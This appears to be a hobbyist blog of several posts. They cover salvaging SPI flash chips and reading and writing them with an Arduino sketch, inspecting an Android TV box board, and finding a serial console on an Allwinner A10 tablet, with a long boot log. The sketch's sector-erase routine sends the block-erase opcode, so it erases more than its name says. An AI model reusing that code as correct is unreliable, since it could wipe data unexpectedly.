The device is a JUSTOP Android 4.0 TV Box. Below are images of the front and back of the board.

Click here for a higher resolution PNG. Interesting you can see a space for a microphone at the front of the board (bottom of the image). The tracks appear to be connected to the A10.

Click here for a higher resolution PNG. On the right side of the image you can see the IC and the module that make up the wifi hardware.

In the end I recovered it by flashing with the latest stable firmware as per the manufacturers instructions.

a10|uart|
arduino winbond 25x40 4mb flash 23 Jun 2013

Another flash chip, this time taken from a dead hard drive's PCB - this one is a Winbond 25X40BL. I've mounted it on a piece of strip board in the same way as the MX25L I looked at last month.

I was expecting the Winbond chip to be completely different from the MX25L but when I started to wire it up I realised that the pin out was identical and once I started to look at the instruction set with a view to implementing the arduino code, I discovered that for the most part they were the same too. Turns out it's the 'JEDEC SPI flash' standard interface..

As the two chips use the same hardware and software interface this meant I could simply re-use the code I wrote for the MX25L. I uploaded the code to the arduino and issued the JEDEC ID instruction (0x9f), which produced the following:

manufacturerID: EF
memorytypeID:   30
memory:         13  
  

This matches the expected value as documented in the datasheet. I've yet to do a complete dump of the data but a quick scan through didn't seem to show anything of interest (no ASCII etc) - most likely it contains the firmware for the drive which I'd expect would mostly just be machine code for the processor on the drive - maybe loading the dump into IDA Pro for the appropriate architecture would be worth having a look at...

arduino|
arduino mx25l 4mb flash 3 May 2013

The above image is a MX25L3205 4MB flash chip mounted on a stripboard breakout. It was salvaged from a laptop motherboard that had been water damaged (a couple of the bigger power transistors were melted along with some burn marks where I presume tracks used to be).

I carefully desoldered it and measured it against a small, scrap piece of stripboard. The original plan was to bug wire it but as the inner legs happen to have the same spacing as the stripboard tracks I just needed to bend the outer legs first up so they were now flat rather than pointing down and then out into an L shape, so that when on the stripboard the tips would just be above next track along. A single blob of solder was used on an inner leg to position and hold the it in place while the others were soldered. To minimise the likely-hood of shorts - and particularly on the outer legs - I tried to use only just enough solder to let the surface tension touch the tips. It's not beautiful but as my first attempt to solder an SMD part I'm quite pleased with the result - and there were no shorts either!

The arduino is connected over the SPI bus, but as the MX25L3205 is a 3.3v part the three output pins (SCK/yellow, MOSI/green, SS/blue) are put through voltage dividers (1.8KOhm/3.3KOhm) to protect it. As 3.3v is above the threshold needed for the arduino to register a line as high, MISO/orange is just directly connected.

Pin configuration:

  1. CS - SS/D10
  2. SO - MISO/D12
  3. WP/ACC - 3.3v
  4. GND
  5. VCC - 3.3v
  6. HOLD - 3.3v
  7. SCLK - SCK/D13
  8. SI - MOSI/D11

With the hardware side completed I wrote some simple code to issue the 'read identification'/RDID command. It took some minor tweaks to get the data I was expecting but once I got 0xC2, 0x20, 0x15 I knew the chip was good.

I suspected that it was the dead laptop's bios chip so decided next to dump the contents to a file to find out. For this I implemented the READ command and pushed the results to the PC via the arduino's serial. It took a while to dump the whole 4 MB - the method I used was less than optimal - but running the dump file through strings produced this snippet:

?d?d?d?dn
... DEBUG BUFFER OVERFLOW!!!
EFI_LOAD_ERROR
EFI_INVALID_PARAMETER
EFI_UNSUPPORTED
EFI_BAD_BUFFER_SIZE
EFI_BUFFER_TOO_SMALL
EFI_NOT_READY
EFI_DEVICE_ERROR
EFI_WRITE_PROTECTED
EFI_OUT_OF_RESOURCES
EFI_VOLUME_CORRUPTED
EFI_VOLUME_FULL  
  

Which seems to confirm it's an EFI bios. Also in there was:

9p?-
w(mA
DELL
0102$DELG
Inspiron N5010
$BV#
A02$DI$G
  

I've extended the code out to be interactively command driven, and implemented enough commands to be able to read and write to it. The currently available commands are:

h        : print help  
d        : print RDID  
s        : print RDSR  
u<x> <y> : dump from x for y bytes  
w        : WREN (write enable)
i        : WRDI (write disable)
c        : CE (chip erase)
e<sector>: SE (sector erase)
b<block> : BE (block erase)
q<x> <y> : PP write byte y at address x  
  

The code expects 'Newline' to be selected in the arduino serial monitor. Where a parameter is required you can use any notation strtol() allows e.g. to dump the first ten bytes both "u0 10" and "u0x00 0x0a" will work. To write to the chip you first need to issue a 'write enable'/WREN command and then a 'program page'/PP. Be aware that PP only flips bits to 0, it doesn't flip them to 1 because of this it's recommended you erase the chip(CE)/sector(SE)/block(BE) before writing. For more information please see the datasheet.

/*
MX25L3205D

Requires PC side sending \n (Newline) as line ending
*/

#include <SPI.h>

const int slaveSelectPin = 10;

void setup() {
  Serial.begin(9600);

  pinMode (slaveSelectPin, OUTPUT);

  // initialize SPI:
  SPI.begin(); 
  SPI.setDataMode(SPI_MODE3);
  SPI.setBitOrder(MSBFIRST);
}

void Print_Help(){
  Serial.println(" h        : print help");  
  Serial.println(" d        : print RDID");  
  Serial.println(" s        : print RDSR");  
  Serial.println(" u<x> <y> : dump from x for y bytes");  
  Serial.println(" w        : WREN (write enable)");
  Serial.println(" i        : WRDI (write disable)");
  Serial.println(" c        : CE (chip erase)");
  Serial.println(" e<sector>: SE (sector erase)");
  Serial.println(" b<block> : BE (block erase)");
  Serial.println(" q<x> <y> : PP write byte y at address x");
}

unsigned long SerialReadLongUntil(char until){
  String s;
  char c = 0;        
  while(c != until){
    if(Serial.available() > 0){
      c = Serial.read();
      s += c;
    }
  }
  char buf[16]; 
  s.toCharArray(buf, 16);
  return (unsigned long)strtol(buf, NULL, 0);  
}

void loop() {

  if (Serial.available() > 0) {
    switch(Serial.read()){
      
      case 'h':
        Print_Help();
      break;
      case 'd':
        Print_RDID();
      break;
      case 's':
        Print_RDSR();
      break;
      
      case 'u': { //some validation would be nice...
        unsigned long start = SerialReadLongUntil(' ');
        unsigned long len = SerialReadLongUntil('\n');
        Dump(start, len);
        break;
      }
      case 'w':
        WREN();
      break;
      case 'i':
        WRDI();
      break;
      case 'c':
        CE();
      break;
      case 'e': {
        unsigned long addr = SerialReadLongUntil('\n');
        _SE(addr);
        break;
      }
      case 'b': {
        unsigned long addr = SerialReadLongUntil('\n');
        BE(addr);
        break;
      }
      
      case 'q': { //write a single byte
        unsigned long addr = SerialReadLongUntil(' ');
        byte val = SerialReadLongUntil('\n');
        WritePP1(addr, val);
        Dump(addr, 1);
        break;
      }
      
    }
  }

}

/*
(6) Read Data Bytes (READ)
The read instruction is for reading data out. The address is latched on rising edge of SCLK, and data shifts out on the falling
edge of SCLK at a maximum frequency fR. The first address byte can be at any location. The address is automatically
increased to the next higher address after each byte data is shifted out, so the whole memory can be read out at a single
READ instruction. The address counter rolls over to 0 when the highest address has been reached.
The sequence of issuing READ instruction is: CS# goes low-> sending READ instruction code-> 3-byte address on SI
-> data out on SO-> to end READ operation can use CS# to high at any time during data out. (see Figure. 17)
*/
void READ(){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x03); //READ
  SPI.transfer(0x00); // start at 0x000000
  SPI.transfer(0x00);
  SPI.transfer(0x00);
  unsigned long addr = 0x000000;
  while(addr <= 0x3FFFFF){ //3FFFFFh 32 Mb
    byte val = SPI.transfer(0x00);
    Serial.println(val, HEX);
    addr++;
  }
  digitalWrite(slaveSelectPin,HIGH);  
}
/*
(3) Read Identification (RDID)
The RDID instruction is for reading the manufacturer ID of 1-byte and followed by Device ID of 2-byte. The MXIC
Manufacturer ID is C2(hex), the memory type ID is 20(hex) as the first-byte device ID, and the individual device ID of
second-byte ID are listed as table of "ID Definitions".
The sequence of issuing RDID instruction is: CS# goes low-> sending RDID instruction code -> 24-bits ID data out on SO
-> to end RDID operation can use CS# to high at any time during data out. (see Figure. 14)
While Program/Erase operation is in progress, it will not decode the RDID instruction, so there's no effect on the cycle of
program/erase operation which is currently in progress. When CS# goes high, the device is at standby stage.
*/
void RDID(byte *manufacturerID, byte *memorytypeID, byte *memory){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x9f);
  *manufacturerID = SPI.transfer(0x00);
  *memorytypeID = SPI.transfer(0x00);
  *memory = SPI.transfer(0x00);
  digitalWrite(slaveSelectPin,HIGH); 
}

void Print_RDID(){
  byte manufacturerID, memorytypeID, memory;
  RDID(&manufacturerID, &memorytypeID, &memory);
  
  Serial.print("manufacturerID: ");
  Serial.println(manufacturerID, HEX);
  Serial.print("memorytypeID:   ");
  Serial.println(memorytypeID, HEX);
  Serial.print("memory:         ");
  Serial.println(memory, HEX);
}

/*
(4) Read Status Register (RDSR)
The RDSR instruction is for reading Status Register Bits. The Read Status Register can be read at any time (even in
program/erase/write status register condition) and continuously. It is recommended to check the Write in Progress (WIP)
bit before sending a new instruction when a program, erase, or write status register operation is in progress.
The sequence of issuing RDSR instruction is: CS# goes low-> sending RDSR instruction code-> Status Register data out
on SO (see Figure. 15)
*/
void RDSR(byte *rdsr){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x05);
  *rdsr = SPI.transfer(0x00);
  digitalWrite(slaveSelectPin,HIGH);   
}

void Print_RDSR(){
  byte rdsr = 0;
  RDSR(&rdsr);
  
  Serial.print("WIP : ");
  Serial.println(rdsr & 1);
  Serial.print("WEL : ");
  Serial.println(rdsr >> 1 & 1);
  Serial.print("BP0 : ");
  Serial.println(rdsr >> 2 & 1);
  Serial.print("BP1 : ");
  Serial.println(rdsr >> 3 & 1);
  Serial.print("BP2 : ");
  Serial.println(rdsr >> 4 & 1);
  Serial.print("BP3 : ");
  Serial.println(rdsr >> 5 & 1);
  Serial.print("CP  : ");
  Serial.println(rdsr >> 6 & 1);
  Serial.print("SRWD: ");
  Serial.println(rdsr >> 7 & 1);
}

/*
(1) Write Enable (WREN)
The Write Enable (WREN) instruction is for setting Write Enable Latch (WEL) bit. For those instructions like PP, CP, SE,
BE, CE, and WRSR, which are intended to change the device content, should be set every time after the WREN instruction
setting the WEL bit.
The sequence of issuing WREN instruction is: CS# goes low-> sending WREN instruction code-> CS# goes high. (see
Figure 12)
*/
void WREN(){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x06);
  digitalWrite(slaveSelectPin,HIGH);   
}

/*
The Write Disable (WRDI) instruction is for resetting Write Enable Latch (WEL) bit.
The sequence of issuing WRDI instruction is: CS# goes low-> sending WRDI instruction code-> CS# goes high. (see Figure
13)
*/
void WRDI(){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x04);
  digitalWrite(slaveSelectPin,HIGH);   
}

/* chip erase */
void CE(){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x60);
  digitalWrite(slaveSelectPin,HIGH);   
}

/* sector erase */
//needs the damn underscore as SE is defined elsewhere...
void _SE(unsigned long addr){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0xd8);
  SPI.transfer(addr >> 16 & 0xff);
  SPI.transfer(addr >> 8 & 0xff);
  SPI.transfer(addr & 0xff);
  digitalWrite(slaveSelectPin,HIGH);   
}
/* block erase */
void BE(unsigned long addr){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0xd8);
  SPI.transfer(addr >> 16 & 0xff);
  SPI.transfer(addr >> 8 & 0xff);
  SPI.transfer(addr & 0xff);
  digitalWrite(slaveSelectPin,HIGH);   
}

void PP(){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x02);
  SPI.transfer(0x00); // start at 0x000000
  SPI.transfer(0x00);
  SPI.transfer(0x00);

  SPI.transfer('A');
  SPI.transfer('B');
  SPI.transfer('C');
  SPI.transfer('D');
  SPI.transfer('E');
  SPI.transfer('F');
  SPI.transfer('G');
  SPI.transfer('H');
  SPI.transfer('I');
  SPI.transfer('J');
  SPI.transfer('K');

  digitalWrite(slaveSelectPin,HIGH);   
}

void DumpStart(unsigned long count){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x03); //READ
  SPI.transfer(0x00); // start at 0x000000
  SPI.transfer(0x00);
  SPI.transfer(0x00);
  unsigned long addr = 0x000000;
  while(addr < count){ //3FFFFFh 32 Mb
    byte val = SPI.transfer(0x00);
    Serial.print(addr, HEX);
    Serial.print('\t');
    Serial.print('\t');
    Serial.print(val, HEX);
    Serial.print('\t');
    Serial.println(char(val));
    addr++;
    //delay(100);
  }
  digitalWrite(slaveSelectPin,HIGH);   
}

void Dump(unsigned long addr, unsigned long count){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x03); //READ
  SPI.transfer(addr >> 16 & 0xff);
  SPI.transfer(addr >> 8 & 0xff);
  SPI.transfer(addr & 0xff);
  count = addr + count;
  while(addr < count){ //3FFFFFh 32 Mb
    byte val = SPI.transfer(0x00);
    Serial.print(addr, HEX);
    Serial.print('\t');
    Serial.print('\t');
    Serial.print(val, HEX);
    Serial.print('\t');
    Serial.println(char(val));
    addr++;
  }
  digitalWrite(slaveSelectPin,HIGH);   
}

void WritePP1(unsigned long addr, byte val){
  digitalWrite(slaveSelectPin,LOW);
  SPI.transfer(0x02);
  SPI.transfer(addr >> 16 & 0xff);
  SPI.transfer(addr >> 8 & 0xff);
  SPI.transfer(addr & 0xff);
  SPI.transfer(val);
  digitalWrite(slaveSelectPin,HIGH);   
}  
  

I've left a couple of unexposed functions in the code (PP(), DumpStart() and READ()) as they might be useful if someone needs to extend it any further.

arduino|
a10 uart 15 Apr 2013

Now I have a working logic analyser I wanted to see if I could use it to find the serial console ports hidden away on the main boards of one of the embedded linux devices I have. I decided to look at the no-name, 7 inch android tablet I was given last year as it's based on the Allwinner A10 - there are huge numbers of devices based on these chips so some familiarity with the architecture can be only be a good thing.

Finding the uart turned out to be pretty easy; on bottom left of the mainboard there are two groups of three copper pads, I first used my multimeter to identify the grounds - on both groups this was the left pad - then I checked the voltages on the other pads to be sure that I wasn't about to damage anything.

Then using a stellaris and OLS set to capture at 2MHz I held a probe on each of the four remaining pads in turn and pressed the power button, hoping that the wake from sleep would produce some kernel messages. The group of pads on the right side of the board didn't seem to do much, the centre pad looks to be connected to the power button and the other one might just be v+. Testing on the centre pin on the other set of pads showed binary data though and once run though the uart analyser in OLS was exactly the kernel messages I was expecting.

I soldered three wires onto the pads and put a female header on the other end, then assembled a FTDI usb<->uart breakout and a 5v to 3.3v level shifter (as the A10 appears to be a 3.3v system) on a small breadboard. After connecting the USB to a PC I then used cu to connect to ttyUSB0 at 115200. At this point I now had an interactive root shell and decided to reboot the device to get the boot logs:

HELLO! BOOT0 is starting!
boot0 version : .2.2
dram size =512
Succeed in opening nand flash.
Succeed in reading Boot1 file head.
The size of Boot1 is 0x00036000.
The file stored in 0X00000000 of block 2 is perfect.
Check is correct.
Ready to disable icache.
Succeed in loading Boot1.
Jump to Boot1.
[       0.122] boot1 version : 1.2.6
[       0.122] pmu type = 3
[       0.123] bat vol = 3919
[       0.152] axi:ahb:apb=3:2:2
[       0.152] set dcdc2=1400, clock=1008 successed
[       0.154] key
[       0.167] no key found
[       0.167] flash init start
[       0.182] flash init finish
[       0.184] fs init ok
[       0.184] fattype FAT16
[       0.185] fs mount ok
[       0.191] script finish
[       0.192] power finish
[       0.196] BootMain start
[       0.196] 0
[       0.205] gpio config
[       0.205] gpio finish
[       0.279] startup status = -1
[       0.279] The all optional count is 1
[       0.281] key high 6, low 4
[       0.284] key value = -1
[       0.287] key invalid
[       0.292] test for multi os boot with display
[       0.295] ERR: Parse_Pic_BMP failed
[       0.297] show pic finish
[       0.300] load kernel start
[       0.773] load kernel successed
[       0.773] start address = 0x40008000
[       0.775] jump to
[    0.000000] Linux version 2.6.36-android (paco@inet) (gcc version 4.5.1 (Sourcery G++ Lite 2010.09-50) ) #5 PREEMPT Wed Mar 7 15:51:05 CST 2012
[    0.000000] CPU: ARMv7 Processor [413fc082] revision 2 (ARMv7), cr=10c53c7f
[    0.000000] CPU: VIPT nonaliasing data cache, VIPT nonaliasing instruction cache
[    0.000000] Machine: sun4i
[    0.000000] Lichee System fixup
[    0.000000] Total Detected Memory: 512MB with 1 banks
[    0.000000] fbmem: start=0x5a000000, size=0x02000000
[    0.000000] Memory Reserved:
[    0.000000]   VE:	0x43000000, 0x04a00000
[    0.000000]   FB:	0x5a000000, 0x02000000
[    0.000000]   G2D:	0x58000000, 0x01000000
[    0.000000] Memory policy: ECC disabled, Data cache writeback
[    0.000000] On node 0 totalpages: 114688
[    0.000000] free_area_init_node: node 0, pgdat c07b4910, node_mem_map c0873000
[    0.000000]   DMA zone: 896 pages used for memmap
[    0.000000]   DMA zone: 0 pages reserved
[    0.000000]   DMA zone: 113792 pages, LIFO batch:31
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 113792
[    0.000000] Kernel command line: console=ttyS0,115200 root=/dev/nandb rw init=/init fbmem=32M@0x5a000000 loglevel=8;
[    0.000000] 
[    0.000000] 
[    0.000000] PID hash table entries: 2048 (order: 1, 8192 bytes)
[    0.000000] Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
[    0.000000] Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
[    0.000000] Memory: 448MB = 448MB total
[    0.000000] Memory: 321176k/321176k available, 137576k reserved, 0K highmem
[    0.000000] Virtual kernel memory layout:
[    0.000000]     vector  : 0xffff0000 - 0xffff1000   (   4 kB)
[    0.000000]     fixmap  : 0xfff00000 - 0xfffe0000   ( 896 kB)
[    0.000000]     DMA     : 0xfee00000 - 0xffe00000   (  16 MB)
[    0.000000]     vmalloc : 0xdc800000 - 0xf0000000   ( 312 MB)
[    0.000000]     lowmem  : 0xc0000000 - 0xdc000000   ( 448 MB)
[    0.000000]     pkmap   : 0xbfe00000 - 0xc0000000   (   2 MB)
[    0.000000]     modules : 0xbf000000 - 0xbfe00000   (  14 MB)
[    0.000000]       .init : 0xc0008000 - 0xc002f000   ( 156 kB)
[    0.000000]       .text : 0xc002f000 - 0xc0772000   (7436 kB)
[    0.000000]       .data : 0xc0772000 - 0xc07b5540   ( 270 kB)
[    0.000000] SLUB: Genslabs=9, HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.000000] Hierarchical RCU implementation.
[    0.000000] 	RCU-based detection of stalled CPUs is disabled.
[    0.000000] 	Verbose stalled-CPUs detection is disabled.
[    0.000000] NR_IRQS:96
[    0.000000] timer_set_mode: periodic
[    0.000000] Console: colour dummy device 80x30
[    0.000000] Calibrating delay loop... 1005.97 BogoMIPS (lpj=5029888)
[    0.240000] pid_max: default: 32768 minimum: 301
[    0.250000] Mount-cache hash table entries: 512
[    0.250000] CPU: Testing write buffer coherency: ok
[    0.250000] devtmpfs: initialized
[    0.250000] DRAM Size: 512
[    0.250000] regulator: core version 0.5
[    0.250000] NET: Registered protocol family 16
[    0.250000] hw perfevents: enabled with ARMv7 Cortex-A8 PMU driver, 5 counters available
[    0.250000] SOFTWINNER DMA Driver, (c) 2003-2004,2006 Simtec Electronics
[    0.250000] bio: create slab <bio-0> at 0
[    0.250000] SCSI subsystem initialized
[    0.250000] libata version 3.00 loaded.
[    0.260000] usbcore: registered new interface driver usbfs
[    0.260000] usbcore: registered new interface driver hub
[    0.260000] usbcore: registered new device driver usb
[    0.260000] Advanced Linux Sound Architecture Driver Version 1.0.23.
[    0.260000] Bluetooth: Core ver 2.15
[    0.260000] NET: Registered protocol family 31
[    0.260000] Bluetooth: HCI device and connection manager initialized
[    0.260000] Bluetooth: HCI socket layer initialized
[    0.260000] cfg80211: Calling CRDA to update world regulatory domain
[    0.260000] Init eGon pin module V2.0
[    0.260000] Switching to clocksource aw 64bits couter
[    0.260000] NET: Registered protocol family 2
[    0.260000] IP route cache hash table entries: 4096 (order: 2, 16384 bytes)
[    0.270000] TCP established hash table entries: 16384 (order: 5, 131072 bytes)
[    0.270000] TCP bind hash table entries: 16384 (order: 4, 65536 bytes)
[    0.270000] TCP: Hash tables configured (established 16384 bind 16384)
[    0.270000] TCP reno registered
[    0.270000] UDP hash table entries: 256 (order: 0, 4096 bytes)
[    0.270000] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
[    0.270000] NET: Registered protocol family 1
[    0.270000] RPC: Registered udp transport module.
[    0.270000] RPC: Registered tcp transport module.
[    0.270000] RPC: Registered tcp NFSv4.1 backchannel transport module.
[    0.270000] sw_sys: init
[    0.270000] [pm]aw_pm_init!
[    0.270000] ashmem: initialized
[    0.280000] NTFS driver 2.1.29 [Flags: R/W].
[    0.280000] fuse init (API version 7.15)
[    0.280000] msgmni has been set to 627
[    0.280000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[    0.280000] io scheduler noop registered
[    0.280000] io scheduler deadline registered
[    0.280000] io scheduler cfq registered (default)
[    0.280000] G2D: drv_g2d_init
[    0.280000] G2D: g2dmem: g2d_start=58000000, g2d_size=1000000
[    0.280000] G2D: head:d8000000,tail:d9000000
[    0.280000] G2D: Module initialized.major:251
[    0.280000] sw-uart.0: ttyS0 at MMIO 0x1c28000 (irq = 1) is a sw-uart0
[    0.820000] console [ttyS0] enabled
[    0.820000] sw-uart.2: ttyS2 at MMIO 0x1c28800 (irq = 3) is a sw-uart2
[    0.830000] brd: module loaded
[    0.840000] loop: module loaded
[    0.840000] [NAND]nand driver, init.
[    0.850000] [NAND] nand gpio_request
[    0.850000] [NAND] nand driver version: 0x2 0x9 
[    0.850000] [NAND] nand driver update: 20120214
[    0.860000] nand interrupte register ok
[    0.860000] ret of NFC_ChangMode is 0 
[    0.870000] dma_hdle  is 0 
[    0.870000] dma_hdle  is 10000008 
[    0.890000] The 0 disk name = BOOTFS, class name = DISK, disk size = 32768
[    0.900000] The 1 disk name = LROOTFS, class name = DISK, disk size = 65536
[    0.910000] The 2 disk name = LSYSTEMFS, class name = DISK, disk size = 524288
[    0.920000] The 3 disk name = LDATAFS, class name = DISK, disk size = 3774874
[    0.920000] The 4 disk name = MISC, class name = DISK, disk size = 2048
[    0.930000] The 5 disk name = LRECOVERYFS, class name = DISK, disk size = 65536
[    0.940000] The 6 disk name = LCACHEFS, class name = DISK, disk size = 262144
[    0.950000] The 7 disk name = UDISK, class name = DISK, disk size = 3053158
[    0.960000] The 7 disk size = 3053158
[    0.960000] part total count = 8
[    0.960000]  nanda:
[    0.970000]  nandb: unknown partition table
[    0.970000]  nandc: unknown partition table
[    0.980000]  nandd: unknown partition table
[    0.990000]  nande: unknown partition table
[    0.990000]  nandf: unknown partition table
[    1.000000]  nandg: unknown partition table
[    1.010000]  nandh:
[    1.010000] benn: nand probe enter
[    1.010000] [NAND]nand driver, ok.
[    1.020000] PPP generic driver version 2.4.2
[    1.020000] PPP Deflate Compression module registered
[    1.030000] PPP BSD Compression module registered
[    1.030000] PPP MPPE Compression module registered
[    1.040000] NET: Registered protocol family 24
[    1.040000] emac driver is disabled 
[    1.050000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[    1.050000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[    1.060000] [sw-ehci1]: probe, pdev->name: sw-ehci, pdev->id: 1, sw_ehci: 0xc07f3424
[    1.070000] [sw-ehci1]: open clock
[    1.090000] [sw-ehci1]: Set USB Power ON
[    1.100000] sw-ehci sw-ehci.1: SW USB2.0 'Enhanced' Host Controller (EHCI) Driver
[    1.110000] sw-ehci sw-ehci.1: new USB bus registered, assigned bus number 1
[    1.110000] sw-ehci sw-ehci.1: irq 39, io mem 0xf1c14000
[    1.140000] sw-ehci sw-ehci.1: USB 0.0 started, EHCI 1.00
[    1.140000] hub 1-0:1.0: USB hub found
[    1.150000] hub 1-0:1.0: 1 port detected
[    1.150000] [sw-ohci1]: probe, pdev->name: sw-ohci, pdev->id: 1, sw_ohci: 0xc07f3534
[    1.160000] [sw-ohci1]: open clock
[    1.180000] sw-ohci sw-ohci.1: SW USB2.0 'Open' Host Controller (OHCI) Driver
[    1.190000] sw-ohci sw-ohci.1: new USB bus registered, assigned bus number 2
[    1.200000] sw-ohci sw-ohci.1: irq 64, io mem 0xf1c14400
[    1.260000] hub 2-0:1.0: USB hub found
[    1.260000] hub 2-0:1.0: 1 port detected
[    1.270000] [sw-ehci2]: probe, pdev->name: sw-ehci, pdev->id: 2, sw_ehci: 0xc07f3648
[    1.280000] [sw-ehci2]: open clock
[    1.300000] [sw-ehci2]: Set USB Power ON
[    1.310000] sw-ehci sw-ehci.2: SW USB2.0 'Enhanced' Host Controller (EHCI) Driver
[    1.310000] sw-ehci sw-ehci.2: new USB bus registered, assigned bus number 3
[    1.320000] sw-ehci sw-ehci.2: irq 40, io mem 0xf1c1c000
[    1.350000] sw-ehci sw-ehci.2: USB 0.0 started, EHCI 1.00
[    1.350000] ehci_irq: port change detect
[    1.360000] hub 3-0:1.0: USB hub found
[    1.360000] hub 3-0:1.0: 1 port detected
[    1.360000] [sw-ehci2]: sw_usb_disable_ehci
[    1.370000] [sw-ehci2]: remove, pdev->name: sw-ehci, pdev->id: 2, sw_ehci: 0xc07f3648
[    1.380000] sw-ehci sw-ehci.2: remove, state 1
[    1.380000] usb usb3: USB disconnect, address 1
[    1.390000] sw-ehci sw-ehci.2: USB bus 3 deregistered
[    1.400000] [sw-ehci2]: Set USB Power OFF
[    1.400000] [sw-ehci2]: close clock
[    1.400000] [sw-ohci2]: probe, pdev->name: sw-ohci, pdev->id: 2, sw_ohci: 0xc07f3758
[    1.410000] [sw-ohci2]: open clock
[    1.440000] [sw-ohci2]: Set USB Power ON
[    1.440000] sw-ohci sw-ohci.2: SW USB2.0 'Open' Host Controller (OHCI) Driver
[    1.450000] sw-ohci sw-ohci.2: new USB bus registered, assigned bus number 3
[    1.460000] sw-ohci sw-ohci.2: irq 65, io mem 0xf1c1c400
[    1.520000] hub 3-0:1.0: USB hub found
[    1.520000] hub 3-0:1.0: 1 port detected
[    1.530000] [sw-ohci2]: sw_usb_disable_ohci
[    1.530000] [sw-ohci2]: remove, pdev->name: sw-ohci, pdev->id: 2, sw_ohci: 0xc07f3758
[    1.540000] sw-ohci sw-ohci.2: remove, state 1
[    1.550000] usb usb3: USB disconnect, address 1
[    1.550000] sw-ohci sw-ohci.2: USB bus 3 deregistered
[    1.560000] [sw-ohci2]: Set USB Power OFF
[    1.560000] [sw-ohci2]: close clock
[    1.570000] Initializing USB Mass Storage driver...
[    1.570000] usbcore: registered new interface driver usb-storage
[    1.580000] USB Mass Storage support registered.
[    1.580000] usbcore: registered new interface driver usbserial
[    1.590000] USB Serial support registered for generic
[    1.600000] usbcore: registered new interface driver usbserial_generic
[    1.600000] usbserial: USB Serial Driver core
[    1.610000] USB Serial support registered for GSM modem (1-port)
[    1.610000] usbcore: registered new interface driver option
[    1.620000] option: v0.7.2:USB Driver for GSM modems
[    1.630000] WRN:L158(drivers/usb/sun4i_usb/manager/usb_manager.c):ERR: get usbc(1) id failed
[    1.640000] WRN:L164(drivers/usb/sun4i_usb/manager/usb_manager.c):ERR: get usbc(1) det_vbus failed
[    1.650000] WRN:L158(drivers/usb/sun4i_usb/manager/usb_manager.c):ERR: get usbc(2) id failed
[    1.660000] WRN:L164(drivers/usb/sun4i_usb/manager/usb_manager.c):ERR: get usbc(2) det_vbus failed
[    1.690000] sw_hcd_host0 sw_hcd_host0: sw_hcd host driver
[    1.690000] sw_hcd_host0 sw_hcd_host0: new USB bus registered, assigned bus number 3
[    1.700000] hub 3-0:1.0: USB hub found
[    1.710000] hub 3-0:1.0: 1 port detected
[    1.710000] android init
[    1.710000] android-platform_device_register
[    1.720000] ------print_msc_config-----
[    1.720000] vendor_id             = 0x18d1
[    1.730000] mass_storage_id       = 0x1
[    1.730000] adb_id                = 0x2
[    1.730000] usb_manufacturer_name = USB Developer
[    1.740000] usb_product_name      = Android
[    1.740000] usb_serial_number     = 20080411
[    1.750000] msc_vendor_name       = USB 2.0
[    1.750000] msc_product_name      = USB Flash Driver
[    1.760000] msc_release           = 100
[    1.760000] luns                  = 3
[    1.770000] ---------------------------
[    1.770000] android_probe pdata: c0790544
[    1.780000] WRN:L2671(drivers/usb/sun4i_usb/udc/sw_udc.c):ERR: usb device is not active
[    1.790000] android_bind
[    1.790000] android_bind_config
[    1.790000] Gadget Android: controller 'sw_usb_udc' not recognized
[    1.800000] WRN:L2671(drivers/usb/sun4i_usb/udc/sw_udc.c):ERR: usb device is not active
[    1.810000] android_usb gadget: android_usb ready
[    1.810000] f_adb init
[    1.820000] android_register_function adb
[    1.820000] f_mass_storage init
[    1.820000] fsg_probe pdev: c07906a0, pdata: c0790568
[    1.830000] android_register_function usb_mass_storage
[    1.840000] android_usb gadget: Mass Storage Function, version: 2009/09/11
[    1.840000] android_usb gadget: Number of LUNs=3
[    1.850000]  lun0: LUN: removable file: (no medium)
[    1.850000]  lun1: LUN: removable file: (no medium)
[    1.860000]  lun2: LUN: removable file: (no medium)
[    1.860000] adb_bind_config
[    1.870000] [ps2]: sw_ps2_init
[    1.870000] ps2: cannot find any unsing configuration for 2 ps/2 controller, return directly!
[    1.880000] mice: PS/2 mouse device common for all mice
[    1.890000] sun4i RTC version 0.1 
[    1.890000] sun4i-rtc sun4i-rtc: f23_rtc_probe tmp_data = 380239881
[    1.900000] using rtc device, rtc, for alarms
[    1.900000] sun4i-rtc sun4i-rtc: rtc core: registered rtc as rtc0
[    1.910000] i2c /dev entries driver
[    1.910000] ================power===================, status = 0 
[    1.920000] gsensor: registered bma250 @ addr 0x18
[    1.930000] ctp_used == 0. 
[    1.930000] ctp_used == 1. 
[    1.930000] i2c_info_ctp1[0].type is: Goodix-TS, name is Goodix-TS. 
[    1.940000] i2c: Goodix-TS_ctp1_twi_addr is 85, 0x55. 
[    1.950000] i2c: Goodix-TS_ctp_twi_id is 2. 
[    1.950000] ================Goodix-TS==============, twi_id = 2, status = 0 
[    1.960000] ctp_used == 1. 
[    1.960000] i2c_info_ctp2[0].type is: ssd253x-ts, name is ssd253x-ts. 
[    1.970000] i2c: ssd253x-ts_ctp2_twi_addr is 72, 0x48. 
[    1.970000] i2c: ssd253x-ts_ctp2_twi_id is 2. 
[    1.980000] ================ssd253x-ts==============, twi_id = 2, status = 0 
[    1.990000] ctp_used == 1. 
[    1.990000] i2c_info_ctp[0].type is: novatek-ts, name is novatek-ts. 
